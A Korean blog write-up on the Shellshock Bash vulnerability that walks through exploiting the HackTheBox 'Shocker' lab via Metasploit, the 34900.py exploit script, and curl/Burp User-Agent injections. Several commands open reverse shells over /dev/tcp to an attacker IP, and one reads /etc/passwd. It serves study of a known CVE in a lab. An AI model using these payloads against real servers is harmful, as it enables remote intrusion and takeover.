CVE

셸쇼크 | Shellshock | CVE-2014-627*

estherseo 2022. 4. 24. 17:42

 

개념

Unix Bash가 환경변수를 통해 임의의 명령을 실행할 수 있는 취약점 (RCE) = command injection vulnerability

 

 

발생 원인

Bash가 variable assignment를 처리하는 방식에서 취약점이 발생한다.

Bash의 쉘 환경 변수를 '() { :;};' 와 같이 함수 형태로 등록할 때 함수 선언 끝에 오는 명령어를 실행할 수 있다.

 

ex)      env x=() { :;}; /bin/bash -c 'id; echo; cat /etc/passwd;'

 

실습 - ( HTB "Shocker" )

0. 타겟 머신 설명

  • Shocker는 Apache 서버를 사용하고 있다.
  • Shocker 에서는 /cgi-bin 디렉터리가 있다.
  • /cgi-bin 경로에는 uptime 명령을 실행하는 CGI bash스크립트인 user.sh 스크립트가 있다.

uptime 명령 실행 결과와 비슷하다.

 

 

Shell shock 취약점을 이용하여 exploit 해보자 ! 

 

1. Metasploit

msfconsole -q
search shellshock
use 1
options
set targeturi /cgi-bin/user.sh
set rhost 10.10.10.56
set lhost 10.10.14.12 (kali IP)


run
shell
/bin/bash -i : 쉘 형태 바꿔주기
whoami

 

search shellshock로 사용할 모듈을 정하자 => use 1로 선택할 수 있다.
required "yes" 인 속성들을 채워주고, 알맞게 수정해주자.
reverse shell이 연결되었다.

 

2. Without Metasploit

2.1. CVE 2014-6278 2014-6271 

searchsploit shell shock

타겟이 Apache였기 때문에 34900.py를 사용하겠다.

searchsploit -m 34900

-m 옵션으로 다운받을 수 있다.

34900.py 코드를 살펴보자.

실행 방법이 나와있다.
핵심 payload ! 함수 뒤에 실행할 명령어를 넣어주고 있다.

 

python2 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.12 lport=4445 pages=/cgi-bin/user.sh

reverse shell 연결 성공!

 

2.2. burpsuite

 

User-Agent 헤더는 서버로 전송되어 서버의 환경변수에 저장된다.

User-Agent 헤더에 command injection을 해보자.

test

 

리버스 셸 연결을 할 거니까 미리 "nc -nvlp 4444"로 리스너 열어주기!

리버스 셸 코드 생성해주는 도구를 사용하자.

IP와 port를 입력하면 언어들마다 리버스셸 코드를 생성해준다.

bash -c 'exec bash -i &>/dev/tcp/10.10.14.12/4444 <&1' 

약간 변형해서
() { :;}; /bin/bash -i &>/dev/tcp/10.10.14.12/4444 <&1

34900.py 코드 참고해서 작성
() { :;}; /bin/bash -c /bin/bash -i >&/dev/tcp/10.10.14.12/4445 0>&1 &

shell 형태가 다르다.

 

2.3. cURL & Netcat 

 

curl는 command line 기반의 웹 요청 도구이며, http, https, ftp, smtp 등 다양한 프로토콜과 Proxy, Header, Cookie 등 세부 옵션까지 설정하여 요청을 보낼 수 있다.

 

-H 옵션을 통해 User-Agent header를 설정할 수 있다.

curl -H 'User-Agent: () { :;}; /bin/bash -i &>/dev/tcp/10.10.14.12/5555 <&1' http://10.10.10.56/cgi-bin/user.sh

 

 


* 이 문제에서 특이점

  • echo; 를 해주고 명령어를 써줘야 한다.

내 생각에 Cotent-Length: 137 밑에 빈 줄이 하나 있어서 그거 맞춰주는게 아닐까? echo;를 안하면 Server error 뜬다.

  • pwd 외에 다른 명령어 실행 결과가 안 나오는 것

  • /bin/bash -c ' '&

' ' 안에 명령어 넣고, & 백그라운드로 실행하게 하면 임의의 명령어 모두 실행할 수 있다.


 

 

 

 

 

 

잘못된 부분이 있을 수 있습니다 !! 부족한 점은 댓글로 피드백 바랍니다 :)